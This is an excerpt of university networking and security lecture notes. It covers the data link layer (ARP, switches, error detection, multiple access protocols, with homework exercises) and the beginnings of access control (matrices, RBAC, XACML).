(between 2c and 4a). Suppose router 1d learns that x is accessible via
AS2 as well as AS3. Will l be set to l1 or l2 ? Explain in one sentence.
(h) Now suppose that there is another AS, called AS5, which lies on the
path between AS2 and AS4 (not shown in diagram). Suppose router
1d learns that x is accessible via AS2 AS5 AS4 as well as via AS3
AS4. Will l be set to l1 or l2 ? Explain in one sentence.

3. What is the difference between routing and forwarding? Please explain.

5.7. HOMEWORK EXERCISES 99

4. A router has just received the following new IP address ranges: 57.6.96.0/21,
57.6.104.0/21, 57.6.112.0/21, 57.6.120.0/21. If all of these IP’s refer to the
same outgoing line interface, can they be aggregated? If so, to what? If
not, why not?
5. What is the reason for having two types of routing algorithms working
together (inter-AS and intra-AS protocols) for setting forwarding tables in
the Internet?
6. Consider a datagram network using 8-bit host addresses. Suppose a router
uses longest prefix matching and has the following forwarding table. For
each of the four interfaces, give the associated range of destination host
addresses and the number of addresses in the range.
Chapter 6

Data Link Layer

In this chapter, we try to answer the following questions:

• What are the principles of link layer services and protocols?

• How can we address link interfaces of network devices?

• How can we detect packet errors at the link level?

• How can we control access to the link?

• What are the roles and working principles of hubs and switches?

The main responsibility of a data link layer protocol is node-to-node data

delivery on a single link (in other words, ‘one hop’ data delivery). In doing this,
the link layer has to deal with link layer packetization (framing), flow control,
error control, addressing and Media Access Control (MAC). Packetization refers
to the encapsulation of network layer datagrams inside link layer frames, including
formatting of frame headers (prefix before data as usual) and trailers (suffix
bit pattern). Flow control is again about speed matching between a sender
and a receiver, but this time on a single link. Error control by the link layer
protocol adds to the reliability of the link and is especially useful in links that are
likely to introduce errors (e.g. in wireless). A multiple access protocol regulates
how different nodes sharing the same link can gain transmission access to the
link. MAC addresses are used in frame headers to identify the source and
the destination nodes on a single link. Because of this the data link layer is
also sometimes referred to as the MAC layer. The link layer uses the physical
layer service: put bits on the medium. It is between the network layer and the
physical layer as shown in Figure 6.1.

6.1 One Hop Data Delivery

A main responsibility of the link layer protocol is to make sure that the data
is delivered to the desired one-hop neighbor node on the same link. There are
two types of links. The first type is a point-to-point link where there are two
nodes (one sender and one receiver), each connected to one end of the link (e.g.
two ends of a wire).

100
6.1. ONE HOP DATA DELIVERY 101

Figure 6.1: Issues addressed by the data link layer. (Figure by Forouzan)

The second type is a broadcast link where the network interfaces of many
nodes (multiple senders, multiple receivers) are connected to a single shared
broadcast medium (broadcast channel). There are two famous link topologies of
a broadcast link: bus topology and star topology.

Bus Topology: In the past, the bus topology shown in Figure 6.2 was very
commonly used in local area networks (LAN). In this topology, the data
transmitted from individual nodes can ‘collide’ with each other since each
node ‘hears’ every transmission in broadcast links. This is why, a bus
topology link is said to have a single collision domain. This topology
is nowadays more often used in networks of embedded devices and in the
automotive industry (e.g. a vehicle’s steering system communicating to
the front wheels over the vehicle bus).

Definition 6.1.0.1 Collision

A collision on a network link refers to the situation where multiple simul-
taneous transmissions (overlapping is enough) on the same link interfere
with each other at a receiver (or at multiple receivers) such that none of
the transmissions can be correctly received by the receiver(s).

Star Topology: Today, the star topology shown in Figure 6.3 is very popular
as the link layer topology in computer networks. In the star topology, there
is an active entity sitting in the center, i.e. a hub or a switch, which has
a single hop network interface connection to each node. In case of using
a switch, simultaneous transmissions of different nodes are isolated from
each other by the switch via buffering. In case of using a hub in the center,
the star topology also has a single collision domain as hubs are nothing
but dumb bit repeaters. We will discuss switches and hubs in more detail
in Section 6.2, after we have introduced link layer addressing.

Remember the illustration of the comparison between the data delivery

services provided by the different protocol layers (depicted again in Figure 6.4
for convenience). In the end-to-end path of a datagram between the source host
102 CHAPTER 6. DATA LINK LAYER

Figure 6.2: Bus topology. (Figure by Kurose and Ross)

Figure 6.3: Star topology. (Figure by Kurose and Ross)

and the destination host, there can be various links of different types and with
different link layer protocols. As a result, the quality of service and even the
service types differ per link. For example, some links may be reliable while
others are not. For reliable one hop data delivery, the link layer protocol needs
to deal with duplicate frame receptions and data errors, while making sure that
the data frames are delivered to the receiver in the same order in which they are
supplied by the sender. Similarly, some links may provide a connection-oriented
service while others provide connection-less service.

6.2 Link Layer Addressing

The link layer needs an addressing mechanism to be able to distinguish between
nodes sharing the medium. For this purpose, it is common to employ 48-bit (6-
byte) link layer addresses, which are represented using the hexadecimal notation
(e.g. 0E-E3-87-BB-EB-B8). In different contexts, a link layer address is
sometimes called a physical address or MAC address. It is also possible that you
see around technology specific names for the same; e.g. Ethernet address, LAN
address. An example is shown in Figure 6.5.
The network interface cards of a node come from the manufacturer with
their ‘unique’ link layer addresses assigned and ‘hard-coded’. Therefore, link
6.2. LINK LAYER ADDRESSING 103

Figure 6.4: Connections at the transport layer (process-to-process), the network

layer (host-to-host) and the link layer (node-to-node) shown in one picture.
(Figure by Forouzan)

Figure 6.5: Each network interface has a unique link layer address. (Figure by
Kurose and Ross)

layer addresses are considered to be static. For example, your laptop has the
same MAC address whether you are connected to your home network or to the
university network1 . In practice, the link layer address of a network interface
card can be changed in software.
Consider the delivery of a packet in the last hop before the destination host
with IP address 137.196.7.78 as depicted by Figure 6.6. A service that maps
the destination address 137.196.7.78 to the MAC address 1A-2F-BB-76-09-AD
is needed2 . In the Internet, this service (i.e. address resolution for routing in
the same subnet) is provided by the Address Resolution Protocol (ARP),
1 Note that this is different than IP addresses, where you have a different IP address in each

subnet. The first 24 bits of assigned to a manufacturers by IEEE. The remaining 24 bits are
assigned by the manufacturer to its individual products’ network interface cards.
2 Note that every IP address is mapped to a (unique) MAC address.
104 CHAPTER 6. DATA LINK LAYER

Figure 6.6: On a given link, every IP address maps to a MAC address. ARP
does the translation from IP addresses to MAC addresses. (Figure by Kurose
and Ross)

which is described in Figure 6.7. Every node maintains an ARP table, which
contains mappings from some of the IP addresses on the same subnet to their
MAC addresses, together with a TTL (Time To Live) value. TTL determines
the time until the mapping expires (i.e. taken out from the ARP table) and is
typically set to 20 minutes.

Figure 6.7: ARP in a nutshell. (Figure by Kurose and Ross)

Note that the creation of ARP tables does not require any manual sup-
port from a network administrator. The ARP table of a node is created fully
automatically after joining a subnet.

6.3 Switches and Hubs

In a star topology, each host has a direct connection to a central node: a hub
or a switch. In the following subsections we explain the operations of hubs and
switches, emphasizing their differences.
6.3. SWITCHES AND HUBS 105

6.3.1 Hub
A hub is simply a repeater (indeed a physical layer device), whose task is to
forward and repeat bits coming into one of its link interfaces to all other links
connected to its remaining link interfaces. A hub works on bits, it does not
(necessarily) contain software and it does not examine frame headers. A hub
does not buffer any frames and, therefore, it does not decouple transmissions of
different senders. That means collisions can still occur in a star topology with a
hub in the center.

6.3.2 Switch
As opposed to hubs, a switch3 operates link layer frames, i.e. it examines
frame headers of incoming frames. Therefore, their operation is much more
complex than that of hubs. Switches are very often used in Ethernet links.
A switch buffers the incoming frame, and depending on the destination MAC
address it selectively forwards the frame on one or more of its link interfaces (i.e.
store-and-forward behavior).
A switch maintains a switch table in order to keep track of which MAC
addresses are reachable on each of its link interfaces. Every time the switch
receives a frame on one of its link interfaces the switch adds an entry to its
switch table mapping the source (link layer) address of the incoming frame to the
corresponding link interface4 . The switch operation is summarized in Figure 6.8.

Figure 6.8: The operation of a switch in a nutshell. (Figure by Kurose and Ross)

There are three very nice properties of a switch.

• Separate Collision Domains: A switch employs the Ethernet protocol

3 Not to be confused with layer 3 switches that operate on IP headers in hardware. The

main difference of a router from a layer 3 switch is that a router’s operation is in software and
more dynamic, while a layer 3 switch’s operation is in hardware and faster as a result. Layer 3
switches are beyond our scope.
4 That is unless the entry already exists. Similar to the ARP table, the switch also maintains

a TTL duration with each entry, at the end of which the corresponding entry is removed from
the switch table.
106 CHAPTER 6. DATA LINK LAYER

(discussed in Section 6.5) on each link separately. In this way, it creates a

different collision domain on each of its links.

• Transparency: A switch is transparent to other nodes in its subnet.

• Plug-and-Play Operation: Switches are self-learning and they do not

need to be configured by an administrator.

Switches can be interconnected as shown in Figure 6.9 and the switch opera-
tion depicted in Figure 6.8 and the build-up of switch tables remain exactly the
same. See how the switch tables are built in this case in the video recording of
the lecture (slides contain an example with animations).

Figure 6.9: Multiple switches can be connected together in a subnet. (Figure by

Kurose and Ross)

6.4 Link Layer Error Control

Bit errors can occur in links in the form of bit inversions, bit deletions and
bit additions, e.g. due to interference, noise, reflections (wireless) and signal
attenuation. Even though errors can be dealt with at higher layers, this may not
be preferable especially considering heterogeneity of links. A single link with
a high error rate on the end-to-end path can be the cause of dropping a lot of
packets by the routers on that specific link (e.g. IP checksum failure). Therefore,
detection and, if possible, correction of errors at the link level for error-prone
links is advantageous.
For this purpose, the sender of a link computes error detection and correction
(EDC) bits and adds this (redundant) information to the link layer frame header.
The receiver (the other end of the link) checks for errors by doing the same
computation after frame reception and comparing the result to the value in the
frame header. Upon error detection, the receiver may choose to discard the
frame or signal the sender to ask for a retransmission. Note that such error
detection may not be completely reliable.

6.4.1 Bit Parity Checking

An example of adding redundancy EDC bits is used by parity bit checking
as shown in Figure 6.10 where two versions of parity checking are considered:
single bit parity and two-dimensional bit parity. Single bit parity checking can
6.4. LINK LAYER ERROR CONTROL 107

detect all single bit errors. The parity bit aims to make the total number of 1’s
in the bit pattern even (even bit parity check) or odd (odd bit parity check).
Two-dimensional bit parity checking structures the data into rows and columns
and computes for each row and column the parity bit as it is done in single bit
parity. Two-dimensional bit parity checking can detect and correct all single
bit errors. The ability to correct is thanks to the fact that parity errors will be
detected both at the row parity and the column parity for the erroneous bit.
The only thing that is needed for correction is to flip the bit back to its original
state.

Figure 6.10: Parity bit checking. (Figure by Kurose and Ross)

6.4.2 Cyclic Redundancy Check

Another form of error checking that is widely used in practice is the Cyclic
Redundancy Check (CRC). In CRC, the data bits for error checking are
considered to be a binary number D. A generator bit pattern G of length
r + 1 bits is used to generate a CRC bit pattern R of length r bits to be
r
included in the frame header. R is the remainder of the division D×2 G in modulo-
2 arithmetic (without carries in addition and borrows in subtraction). The
generated CRC bit pattern R satisfies the following condition: < D, R > (i.e.
the binary number formed by concatenating D and R) is exactly divisible by G
in modulo-2 arithmetic (without carries in addition and borrows in subtraction).
The receiving side uses the same generator bit pattern G to compute the division
<D,R>
G . If the remainder of this division is zero, then the frame passes the CRC
and its content is delivered to the layer above. If not, an error is detected. While
parity bit checking performs very badly for bursty bit errors, CRC can detect
bursts of length less than or equal to r. CRC bit pattern computation is shown
in Figure 6.11 with an example.
108 CHAPTER 6. DATA LINK LAYER

Figure 6.11: CRC bit pattern computation and an example. (Figure by Kurose
and Ross)

6.5 Media Access Control

Media access control is everywhere. You can even observe it in how we do our
lectures. A given classroom (e.g. Auditorium 3) is allocated to different lecturers
at different time slots of a working week. The medium that is being shared is
the physical space bounded by the lecture room’s walls. Transmissions are often
done by the lecturers, i.e. they do most of the talking, while students spend
most of their time listening and taking notes. Of course, students can explicitly
ask for ‘medium access’ by raising their hands at any time during a lecture.
From time to time the lecturer inquires if there are students who want ‘medium
access’ (e.g. asks if there are any questions). In this way, we can effectively
communicate in lectures and maximize ‘knowledge transfer’.
In this analogy:

• The classroom corresponds to the shared medium.

• The lecturer and the students correspond to the nodes.

• Media access control is through

– reservation of the classroom for the lecture,

– reservation of a ‘question time’ by students by raising their hands,
– polling for questions by the lecturer,
– and more mechanisms mainly stemming from our ‘social protocol’,
e.g. do not interrupt others when they are speaking, give others
opportunity to speak.

Now imagine listening to two lecturers at the same time in the same classroom.
That would obviously be a disaster since none of the two lectures would be
intelligible to the audience. As a result, students would learn nothing and very
valuable resources, namely, the classroom time, the students’ time and energy,
6.5. MEDIA ACCESS CONTROL 109

as well as the lecturers’ time and energy would be wasted. Clearly, media access
control is crucial.
Similarly, frame collisions on a link waste channel and node resources and
ideally they should be avoided altogether. In any case, the access to shared
media must be regulated in order to prevent the situation that frame collisions
constitute the majority of the transmission time into the medium. The protocols
that regulate access to shared media are called multiple-access protocols. In
the ideal situation, a multiple access protocol should divide the channel capacity
entirely (no idle capacity) and equally among senders.
There are three classes of multiple-access protocols in the literature:

• Channel partitioning (channelization) protocols

• Random access protocols
• Controlled access protocols (taking turns)

Figure 6.12: Three classes of multiple access protocols. (Figure by Forouzan)

6.5.1 Channel Partitioning (Channelization) Protocols

Channel partitioning means physically dividing the channel resource into pieces
such that each transmission has its own ‘dedicated’ piece (i.e. no collisions). The
partitioning can, for example, be done in the time dimension by working with
time slots, in the frequency dimension by working with frequency sub-bands,
and in the code dimension by working with signals that are orthogonal to each
other5 . Time Division Multiple Access (TDMA), Frequency Division Multiple
Access (FDMA), and Code Division Multiple Access (CDMA) are the media
access protocols used for these, respectively.

TDMA: Time is divided into periodic rounds. At each round a sender has the
right to access the link only inside its allocated fixed-length time slot. The
time slot length is typically chosen according to the transmission time of
the maximum size packet (MTU). If a sender does not use its time slot,
the slot is wasted. An example with 6 senders is shown in Figure 6.13.
5 Two signals f (t) and g(t) are mutually orthogonal to each other in the interval [0, T ] if
RT
0 f (t)g(t)dt = 0.
110 CHAPTER 6. DATA LINK LAYER

Figure 6.13: TDMA example. (Figure by Kurose and Ross)

FDMA: Fixed pieces of the total channel bandwidth are allocated to individual
senders. Whenever a sender does not send anything its frequency band
capacity is wasted. An example with 6 senders is shown in Figure 6.14.

Figure 6.14: FDMA example. (Figure by Kurose and Ross)

CDMA: Each sender is assigned one of the mutually orthogonal codes, each
code used to encode bit patterns. Multiple senders can transmit their bit
patterns at the same time using the full channel bandwidth. The sum of the
multiple signals of simultaneous senders (s(t) = c1 (t) + c2 (t) + ... + cN (t))
can easily be decoded at the receiving side by projecting the sum onto
the individual codes. For example, projecting s(t) onto c1 (t) over one bit
interval of length T seconds is by computing:

Z Z
s(t) · c1 (t)dt = (c1 (t) + c2 (t) + ... + cN (t)) · c1 (t)dt
T
ZT Z
= c1 (t) · c1 (t)dt + ... + cN (t) · c1 (t)dt
ZT T

= c1 (t) · c1 (t)dt
T

6.5.2 Random Access Protocols

As opposed to channel partitioning protocols, random access protocols do not
physically divide the link resources among senders. As a result senders can
randomly assume full channel resources when they are active. While this means
collisions can happen, a random access protocol is designed to deal with those:
detect collisions and recover. ALOHA protocol, Carrier Sense Multiple
Access (CSMA) and their variants are examples of this class of multiple access
6.5. MEDIA ACCESS CONTROL 111

Figure 6.15: Four orthogonal codes, each of which can be used by a different
sender. (Figure by Wikipedia)

Figure 6.16: CDMA encoding with two senders and two codes. The bottom
signal
R is s(t). Note that for the first sender, the results of the computation
T
s(t) · c1 (t)dt in the first, second and third bit intervals are 1, -1 and -1 Volts,
corresponding to bitsR 1, 0 and 0 respectively. For the second sender, the results
of the computation T s(t) · c2 (t)dt in the first, second and third bit intervals
are 1, -1 and 1 Volts, corresponding to bits 1, 0 and 1 respectively.
112 CHAPTER 6. DATA LINK LAYER

protocols. To avoid repetition, in the lecture notes we merely introduce these

protocols briefly. See lecture slides for detailed explanations and diagrams.

ALOHA: The name was given by its designers at the University of Hawaii (a
word used for greeting in Hawaiian). In ALOHA, a sender that has data
to send immediately transmits a full link layer frame containing (part of)
the data. In case there is a collision (packet loss), the sender retransmits
the frame with the probability p after it has completely transmitted the
collided frame (waste). On the plus side, this is a decentralized protocol,
i.e. there is no central intelligence that decides who can transmit when.
However, the efficiency (probability of a successful transmission attempt)
of ALOHA is very bad, leading to a lot of retransmissions and poor
performance. ALOHA has time slotted (needs synchronization among
senders) and unslotted versions.

CSMA: Since frequent collisions kill efficiency as in the case of ALOHA, it was
necessary to develop a protocol that aims to prevent collisions. CSMA is
such a protocol “not interrupting others while they are transmitting”. The
CSMA sender listens to the channel before transmitting anything (carrier
sensing). If there is a currently ongoing transmission, the sender defers its
transmission. The operation of the CSMA sender is given in Figure 6.17.

Figure 6.17: CSMA sender operation. (Figure by Forouzan)

Note that collisions can still occur with CSMA due to propagation delays
as shown in Figure 6.18. A variant of CSMA, CSMA with Collision
Detection (CSMA/CD) tries to detect collisions and quickly stops the
sender’s transmission upon collision detection (less resources wasted). The
sender can detect a collision, for example, if it is receiving another signal
while sending its own. There are many ways to detect collisions. A popular
MAC protocol that employs CSMA/CD is the Ethernet protocol.
Another variant of CSMA, CSMA with Collision Avoidance (CS-
MA/CA) does not employ collision detection. CSMA/CA proves to be
useful especially in wireless networks where collision detection is very dif-
ficult. There are two difficulties with collision detection in wireless. The
first difficulty is that the power of the received signal is usually very weak
in comparison to the power of the transmitted signal6 . Secondly, the so
6 This is as measured by the transmitter. The weakness of the received signal comes from

factors such as path loss, reflection and interference.

6.5. MEDIA ACCESS CONTROL 113

Figure 6.18: Collisions are not completely eliminated by CSMA. (Figure by

Forouzan)

called hidden terminal problem depicted in Figure 6.19 can cause packet
collisions that are impossible to detect by the transmitters.

Figure 6.19: The hidden terminal problem. (Figure by Kurose and Ross)

If the channel is sensed busy, the CSMA/CA sender waits for a randomly
chosen amount of time before it tries again, which is called a ‘random
backoff’. When the backoff counter hits zero (i.e. the randomly chosen
backoff period expires), the sender ‘senses’ the channel again and transmits
its packet if the channel is not busy. If not, a new random backoff duration
is chosen (from a larger interval) and the sender waits again. This is
repeated until the receiver’s acknowledgement is received for the frame.
The CSMA/CA operation of a WiFi link (IEEE 802.11 protocol) is shown
in Figure 6.20.
Additionally, the CSMA/CA may allow (wireless) senders to reserve the
channel (instead of random access) with the purpose of eliminating colli-
sions. For this, the CSMA/CA sender transmits small Request-To-Send
(RTS) message to the wireless access point, which in return broadcasts a
114 CHAPTER 6. DATA LINK LAYER

Figure 6.20: IEEE 802.11 (WiFi) CSMA/CA in a nutshell. (Figure by Kurose

and Ross)

Clear-To-Send (CTS) message. The CTS message indicates which node is

allowed to transmit next. Upon receiving the CTS broadcast, the node
that is cleared for transmission will transmit its frame while the other
nodes will wait. Note that RTS messages can still collide with each other
and with CTS messages of the access point. However, since these are tiny
packets the loss due to such collisions is minimal compared to the gain
from reduced numbers of large frame collisions. The CSMA/CA operation
with channel reservation (collision avoidance) is shown in Figure 6.21.

Figure 6.21: CSMA/CA operation with channel reservation. (Figure by Kurose

and Ross)

6.5.3 Controlled-Access (Taking Turns) Protocols

The third class of multiple access protocols is the controlled-access protocols,
where nodes take turns in accessing the channel. A main difference from TDMA
is that taking turns protocols do not allocate a fixed channel time to individual
senders. On the contrary, a sender’s access time to the channel (the duration of
6.6. SUMMARY 115

its turn) can be increased if the sender has more data to send than others. While
idling of (rather long) time slots is a problem of TDMA, it is not a problem for
controlled-access. We will mention two taking turns protocols: i) polling, and ii)
token passing.

Polling: In polling, a ‘master node’ invites ‘slave nodes’ (transmitters) to

access the channel in turns by sending them polling messages one by one.
Although this protocol is very simple for the slave nodes to run, polling
causes traffic overhead and introduces delays. Furthermore, if the master
node fails then the link is not usable by any senders (single point of failure).
Token Passing: In token passing, a control token message is passed from node
to node in a logical (token) ring. The node that currently has the token
can transmit and pass the token to the next node after it’s done. Similar to
polling, the necessity to circulate the token message gives channel overhead
and latency. This time the token message itself is the single point of failure
since nodes will not transmit a token message if they have not received
one (e.g. if the token packet is lost).

6.6 Summary
The link layer is responsible for transferring a packet from one node to adjacent
node over a single link. Media access protocols govern which node on a given
link is allowed to transmit at any given time. In doing so, these protocols should
aim to utilize the channel optimally and fairly. We have seen three classes
of media access protocols: i) channel partitioning (channelization) protocols,
ii) random access protocols, and iii) controlled access protocols (taking turns).
Wireless links bring unique challenges. The reader should refer to the lecture
slides and the video recordings of the link layer lectures for a full coverage of
MAC protocols and wireless link challenges. The lecture notes are focused on
the fundamentals rather than the specific protocols. Note that TCP interprets
transmission timeouts as indicators of congestion and decreases its congestion
window size. Although this assumption is acceptable when the links are unlikely
to lose packets, when we consider very lossy wireless links on the host-to-host
path we can immediately argue that a lot of timeouts can occur due to losses on
a wireless link. For example, you may try to take your laptop to the kitchen and
download a file over WiFi while the microwave oven is on. You will see that your
wireless connection will suffer considerably since microwave ovens operate at
roughly the same frequency range with a your WiFi access point. The massive
interference from the microwave oven will cause packet losses and timeouts, and
these losses have nothing to do with packet congestion in the network core.

6.6.1 Literature
Suggested reading
• Chapter 5 of the book Computer Networking: A Top-Down Approach by
Kurose and Ross [20, Chapter 5].
• Chapter 6 of the book Computer Networking: A Top-Down Approach by
Kurose and Ross [20, Chapter 6].
116 CHAPTER 6. DATA LINK LAYER

6.7 Homework Exercises

1. Why do we need both link layer and end-to-end (transport layer) reliability?

2. If all the links on the end-to-end path from the source host to the destination
host are reliable, would that be (by itself, without using TCP) sufficient
for the reliability needs of a file transfer application? Why?

3. Assume that the sender and the receiver on a link agree on a 4-bit generator
pattern, G, which is equal to 1001. The sender wants to send to the receiver
6 bits of data, D, which is equal to 101110. Find the CRC bits R to be
appended to D. Show your work.

4. Suppose nodes A and B are on the same 10 Mbps broadcast channel, and
the propagation delay between the two nodes is 325 bit times. Suppose
CSMA/CD and Ethernet packets are used for this broadcast channel (see
slides). Suppose node A begins transmitting a frame and, before it finishes,
node B begins transmitting a frame. Can A finish transmitting before it
detects that B has transmitted? Why or why not? If the answer is yes, then
A incorrectly believes that its frame was successfully transmitted without
a collision. Hint: Suppose at time t = 0 bits, A begins transmitting a
frame. In the worst case, A transmits a minimum-sized frame of 512 + 64
bit times. That means A would finish transmitting the frame at t = 512
+ 64 bit times. Thus, the answer is no, if B’s signal reaches A before bit
time t = 512 + 64 bits. In the worst case, when does B’s signal reach A?

5. Consider the network depicted in the figure below. The IP addresses and
MAC addresses of individual interfaces are as denoted in the figure.

Suppose that the sender host with the IP address 111.111.111.111 wants to
send an IP datagram to the receiver host with IP address 222.222.222.222.
Answer the following questions:

(a) How many subnets are there in this network? Which IP addresses
belong to which subnet?
(b) What is the destination IP address of the datagram when it leaves
the sender host? What is the destination IP address of the datagram
when it leaves the router?
(c) What is the destination MAC address of the frame when it leaves the
sender host?
6.7. HOMEWORK EXERCISES 117

(d) What is the destination MAC address of the frame when it leaves the
router?
(e) Which protocol is used to determine the destination MAC address?

6. Consider the single-sender CDMA example in the following figure. What

would be the sender’s output (for the 2 data bits shown) if the sender’s
CDMA code were (1, -1, 1, -1, 1, -1, 1, -1)?
Chapter 7

Authentication and
Authorization

Applications interacting with end users access resources that represent significant
value (e.g. entering a building, reading or modifying a data base, performing
computations) either directly or over a network. Many security goals of a
network are thus related to access and proper use of these resources. As defined
in Chapter 1, a security policy specifies:

• What are the security attributes that should be achieved?

• When should these security attributes achieved?

– ... for which resources?

– ... in which context?

An application security policy that we want is an access control

policy; one that specifies ‘proper use’ in terms of who can perform
what actions on which resources and when.

Enforcing the desired access control policy requires checking that an at-
tempted action on a resource is allowed for the user performing the action.
Thus we have to perform authentication; check the identity of the user (or at
least establish some properties of the user such as ‘the user is a student’) and
authorization; check the actions by the user on the resource against the policy.
This chapter addresses the following questions:

• What are the components of access control?

• How to achieve authentication and authorization?

7.1 Access control

While the desired security policy describes allowed access, access control enforces
such policy. A policy, expressed at a high level of abstraction, may be ‘the
lecturer maintains an online gradelist that the students can view and an online
essay submission program that the students can run’.

118
7.1. ACCESS CONTROL 119

User \ Resource Gradelist 2IC60 Submission-Program

Tanir Read, Write Update
Jerry Read, Write Update
Alice Read Execute
Bob Read Execute
Charlie Read Execute

Figure 7.1: An access control matrix with five users and two resources.

Recall from Chapter 1 that the meaning of a security policy is given by the
interpretation in a security model. An obvious choice for the structure of the
mathematical security model is a relation on subjects, resources and rights.
Our goal is to define access control policies which capture the meaning of
the intended high level policy by somehow specifying who (subject) is trusted
with which resource (object) to do what (allowed actions).

7.1.1 Access Control Matrix

A basic format in which one can give an access control policy is the access control
(AC) matrix. In this matrix there is a row for each subject and a column for each
resource. This results in a field for each combination of a subject and a resource.
The rights that that the subject has on that resource, i.e. allowed actions, are
filled in this field. The example in Figure 7.1 shows the access control matrix
capturing the high level policy given above for access by the lecturers Tanir and
Jerry, and the students Alice, Bob and Charlie to the course resources gradelist
and essay submission program.
In going from a high level policy to an AC matrix we have to translate
general operations (view, maintain, run) to specific actions on the system (read,
write, update, execute) and we also have to instantiate general terms (lecturer,
student, gradelist) to specific users/resources (Tanir, Jerry, Alice, Bob, Charlie
and Gradelist 2IC60).
The AC matrix gives us an easy to understand way of specifying the access
control policy; it is immediately clear from the AC matrix who has what rights
on which resources. Yet it has several drawbacks. For one, it is quite far from the
high level security policy: we have to do quite a bit of manual work to capture
the policy in an AC matrix. Besides giving more work, the large gap also leaves
additional room for mistakes and misinterpretations. It is difficult to make sure
that the AC matrix is a ‘good’ implementation of the high level policy. There
is no way of exactly defining when the AC matrix is ‘good’ without doing the
translation by hand again.
Another drawback of the AC matrix is that a lot of the original policy is lost
in this translation For example in Figure 7.1 we can see that Alice may only read
but not that this is because she is a student. This also impacts maintainability
of the AC matrix; recall that it is meant to capture the high level policy ‘the
lecturer maintains a gradelist that the students can read and an essay submission
program that student can run’. Thus, if the students in the class change we
need to update the matrix. If Alice leaves the class we may need to revoke her
rights but how do we know that Alice had the read right (only) because she was
 120 CHAPTER 7. AUTHENTICATION AND AUTHORIZATION

Role \ Resource Gradelist 2IC60 Submission-Program Role Users

Lecturer Read, Write Update Lecturer Tanir, Jerry
Student Read Execute Student Alice, Bob, Charlie

Figure 7.2: An RBAC policy with two roles, two resources and five users.

a student in the class?

The matrix for an entire system/network is difficult to manage. A centrally
stored matrix would create a huge bottleneck for the system/network as any
action on any resource would need to be checked at this central point. Instead
we need to distribute the storage of the matrix. The use of Access Control
Lists is one way of doing this. An AC list is basically a column from an AC
matrix, stating all the rights that different subjects have on a single resource.
As such it has a natural place to store it, i.e. together with the resource. Of
course a problem is if rights change (e.g. a student is added or removed from the
class) all relevant AC lists have to be found and updated. While this gives a
viable implementation, the maintainability only gets worse.
Finally, to use his read right Bob will have to identify himself to the system.
This should not be needed; Bob should only have to prove that he is a student
and not reveal who he is. Below we look at different mechanisms to address
these issues with the access control matrix;

7.1.2 Role Based Access Control (RBAC)

The high level policy ‘the lecturer maintains a gradelist that the students can
read and an essay submission program that student can run’ can be expressed
in terms of rights that users within a certain role have. This is very common in
authorization (access control) policies. It is an instance of the general principle
that users should have the permissions needed to perform their tasks (and not
more). The tasks of a user are determined by the role they play. As such it
would be useful to describe access control in terms of roles which, as you may
have guessed from the name, is what role based access control (RBAC) does.
Figure 7.2 shows a role based AC policy that tries to capture the high level
policy. The resulting access rights are the same as before, i.e. if we construct
an AC matrix for the RBAC policy in Figure 7.2, we get the one in Figure 7.1.
Assigning rights to roles rather than users reduces the number of rows needed.
We need only a single row for all students together instead of a row for each
student. Of course we also need to keep track of who has what role, which results
in an additional table containing role assignments to users.
At first glance the added level of indirection may seem to actually increase the
amount of work to be done; in addition to assigning rights, now to roles rather
than to users directly, we also need to assign roles to users. Yet, one advantage
is already seen from comparing the example in the figures: with roles we assign
rights in batches. For example, we assign both the rights ‘Read on Gradelist
2IC60’ and ‘Execute on Submission-Program’ by giving the role student to some
user. More importantly, the RBAC policy is closer to the high level policy. It
retains the notions of ‘Lecturer’ and ‘Student’ and the notion that having one of
these roles is why users obtain certain permissions.
7.1. ACCESS CONTROL 121

Figure 7.3: An example role hierarchy for a university.

By retaining more of the intention of the high level policy RBAC helps
improve maintainability. If Alice leaves the class all we have to change now is
the role-subject table. We do not need to manually change any rights. When
Alice tries to read Gradelist 2IC60 the system will compute her rights which, as
she is no longer a student, do not include reading this gradelist. Thus access will
be denied. If the high level policy changes and students are no longer allowed to
submit essays (for example because the deadline has passed) only this entry in
the role-resource table needs to be changed.

Hierarchical RBAC Roles can provide a huge improvement in maintainabil-

ity. However, especially in large organizations, the number of roles can quickly
grow to unmanageable proportions. Role hierarchies help bring structure to
the roles. A university can define different categories of staff (see for example
Figure 7.3), each with their own rights and responsibilities. By using a role
hierarchy we only have to specify shared rights once; e.g. we may assign the
right to supervise students to professors and the right to enter buildings to staff.
As members of staff, the professors will inherit the rights from staff rights and
as a result they will also be allowed to enter the building.

7.1.3 XACML for Attribute Based Access Control (ABAC)

A role is just an example of a property (or attribute) that we may want to link
a right to. In order to capture the high level policy ”Every student who has
their Bachelor and has passed courses 2IC60 and 2IC70 may enroll for course
2IS25” we need to assign a right (enroll for 2IS25) to a combination of attributes
(”is student”, ”has Bachelor”, ”passed 2IC60”, ”passed 2IC70”). Of course, we
could make a role capturing exactly this combination of properties. However,
we might need many of these roles and anytime anyone passes a course we have
to adapt memberships of such roles. Obviously, it would be better to assign a
right directly to combinations of properties.
We could do the same for resources to allow us to assign rights to a group of
resources at the same time. For example, we may want to specify a policy such
as ‘students may read all files for course 2IC70’. For the action we can again do
the same; instead of allowing action ‘read’ we could use attributes as in ‘allow
any action marked as viewing’ to allow actions read, display, print, etc. Finally
122 CHAPTER 7. AUTHENTICATION AND AUTHORIZATION

Figure 7.4: Simplified XACML request evaluation flow.

environmental conditions such as ‘during working hours’, ‘before the deadline’

can also be captured with attributes. By assigning rights to combinations of
such attributes, attribute based access control (ABAC) provides a very powerful
language for expressing access control policies.
The eXtensible Access Control Markup Language (XACML) standard defines
a popular ABAC language and a system/network architecture for enforcement.
XACML defines several components involved in the AC enforcement. Figure 7.4
gives a (simplified) view of these components and their interaction. The Policy
Enforcement Point (PEP) is responsible for intercepting requests and ensuring
that users only get access to their allowed resources. The PEP uses a Policy
Decision Point (PDP) to determine which requests are allowed (should be
granted). The PEP gathers information about the subject and the resource and
the context in which the request is being issued (the environment) from a Policy
Information Point (PIP) and incorporates this in a request sent to the PDP. The
PDP tests the request against the set of policies that it has in its policy store
to make a decision (access granted or access denied). The PDP can also return
values indicating it is unable to make a decision: indeterminate (some error
occurred) or not-applicable (this PDP has no policies related to the request).
A policy set contains, in addition to a list of policies1 , a combination algorithm
that is used to combine the different decisions of the policies in the set. Examples
are ‘first applicable’; the first policy to return a decision gets selected, ‘DENY
overrides’; if a single policy causes to deny the request this is the end decision,
even if others allow the request and ‘PERMIT overrides’ where a single permit
decision overrides any other decisions.
A policy has a target determining which requests it is (or at least might
be) applicable to. The rules of the policy will be evaluated for those requests.
